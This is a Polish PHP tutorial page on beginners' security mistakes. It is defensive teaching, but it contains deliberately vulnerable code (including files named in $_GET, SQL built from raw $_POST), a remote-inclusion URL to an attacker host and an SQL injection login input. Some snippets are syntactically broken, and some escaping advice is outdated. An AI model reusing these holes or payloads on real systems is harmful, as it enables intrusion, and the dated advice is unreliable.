Witaj, Gościu O nas | Kontakt | Mapa
Wortal Forum PHPEdia.pl Planeta Kubek IRC Przetestuj się!

Najczęściej popełniane błędy początkujących programistów

Bezpieczeństwo

Register globals
<?php
       
 // register_globals = on
 if( $user_group == 'admin' )
 {
     include 'admin_menu.inc.php';
 }
       
 ?>
Brak testowania skryptu przed wprowadzeniem go na rynek

Niektórzy programiści zaniedbują problem testowania skryptu. Albo są przekonani, że ich skrypt jest doskonały, albo myślą, że na wszystkie błędy wydadzą łatki i poprawki. Taka praktyka jest jednak niedopuszczalna. Produkt, przed wprowadzeniem do użytku powinien być przetestowany pod kątem wszystkich ewentualności. Pozwoli to na zaoszczędzenie czasu i kłopotu w przypadku wydawania poprawek, oraz pozwoli na uniknięcie strat w przypadku włamań na dziurawe skrypty.

Brak funkcji obsługi błędów

W większych projektach zawsze powinno się znaleźć miejsce na klasę/funkcję do obsługi błędów. Nie można sobie pozwolić na klasyczne php'owe komunikaty, ponieważ po pierwsze są one nieestetyczne, a po drugie mogą dostarczyć cennych informacji dla krakerów. Przykładowa funkcja dla obsługi błędów mysql może wyglądać tak:

<?php
       
 function catch_mysql_error( $line )
 {
     $resFile = fopen( 'mysql_errors.txt', 'a' );
     $strToWrite = date( d.m.Y H:i ) . '::' . __FILE__ . '::' . $line . '::' . mysql_errno() . '::' . mysql_error() . '::' . $_SERVER["REMOTE_ADDR"] . '::' . $_SERVER["REQUEST_URI"] . "\n";
     fwrite( $resFile, $strToWrite );
     fclose( $resFile );
     echo 'Wystąpił błąd podczas pracy z bazą danych, i został on zgłoszony do administratora. Przepraszamy.';
 }
       
 // przykładowe odwołanie się do funkcji może wyglądać tak:
 // $resQuery = @mysql_query( 'SELECT * FROM tabela' ) OR EXIT( catch_mysql_error( __LINE__ );
       
 ?>

W takiej funkcji, wszystkie potrzebne dane, czyli data wraz z godziną, nazwa pliku, linia, kod błędu, treść błędu oraz numer IP (przydatny w przypadku wykrycia próby włamania) są zapisywane do pliku, a użytkownikowi wyświetlany jest stosowny komunikat.

Dołączanie plików z paska adresu ($_GET)

Bardzo często programiści na prostych stronach robią włączanie podstron do głównego szablonu przez pasek adresu wpisując np.: http://mojserwer/index.php?page=omnie.php . Zazwyczaj kod wygląda wtedy następująco:

<?php
       
 // [...]
       
 include( $_GET['page'] );
       
 // [...]
       
 ?>

Musimy mieć świadomość, że potencjalny kraker może w takim wypadku wpisać: http://mojserwer/index.php?page=http://serwer.krakera/hack.php i jego plik hack.php wykona się tak, jakby był na serwerze http://mojserwer/. Prawidłowy, odporny na złamanie kod wygląda następująco:

<?php
       
 // [...]
       
 if( isset( $_GET['page'] ) )
 {
     include( basename( $_GET['page'] . '.php' ) );
 }
       
 // [..]
       
 ?>

Warto zauważyć, że w takim wypadku, w pasku adresu nie podajemy rozszerzenia, tylko samą nazwę przed ostatnią kropką np.: http://mojserwer/index.php?page=omnie. Taki kod wygląda ładniej i jest bezpieczny.

Brak testowania danych wprowadzonych przez użytkownika
  • Bardzo często popełnianym błędem jest także brak filtrowania danych pochodzących z tablic $_GET i $_POST. musimy pamiętać o zasadzie ograniczonego zaufania - nie zawsze użytkownik wprowadzi to co powinien wprowadzić. Pół biedy gdy są to jakieś bzdurne teksty, gorzej gdy jest to kod html, php lub mysql. Na szczęście w php jest kilka funkcji pomagających filtrować dane:
  • string addslashes ( string string ) Zwraca ciąg znaków z dodanymi znakami \ (backslash) przez znakami specjalnymi, takimi jak: " ' $ \. Przeciwieństwem tej funkcji jest funkcja stripslashes. Potrzebne przy dodawaniu danych do bazy danych.
  • string basename ( string ścieżka [, string przyrostek]) Zwraca nazwę pliku, obcinając ze ciągu znaków wszystkie foldery. Pozwala to na ominięcie dziury opisanej w poprzednim punkcie.
  • string escapeshellcmd ( string komenda ) Dodaje do łancucha znaki, uniemożliwiające jego zinterpretowanie jako polecenia powłoki przez funkcje exec i system.
  • string htmlspecialchars ( string string [, int quote_style [, string charset]] ) Konwertuje znaki specjalne htmlu (&, ", ', < i >) na odpowiednie encje znakowe. Uniemożliwia wykonanie kodu html w przeglądarce.
  • string mysql_escape_string ( string łańcuch_bez_znaków_unikowych) Funkcja podobna do addslashes, tyle, że bardziej nastawiona na mysql. Niezbyt często wykorzystywana, może być z takim samym rezultatem zamieniona na addslashes.
  • string strip_tags ( string str [, string dozwolone_znaczniki]) Wycina wszystkie tagi html i php z podanego ciągu znaków.

W przypadku gdy dane z tablicy GET lub POST idą do zapytania mysql, powinniśmy pamiętać o wycięciu ze stringa podwójnego myślnika - (oznaczenie komentarza w sql). W przypadku takiego kodu:

<?php
       
 $resQuery = mysql_query( 'SELECT * FROM userzy WHERE login = '. $_POST['login'] .' AND haslo = '. $_POST['haslo'] );
       
 ?>

do $_POST['login'] można wpisać "istniejacy_login';--" co spowoduje zignorowanie dalszego ciągu w tym pytania o hasło.

Informacje na podobny temat:
Wasze opinie
Wszystkie opinie użytkowników: (0)
Mentax.pl    NQ.pl- serwery z dodatkiem świętego spokoju...   
O nas | Kontakt | Mapa serwisu
Copyright (c) 2003-2024 php.pl    Wszystkie prawa zastrzeżone    Powered by eZ publish Content Management System eZ publish Content Management System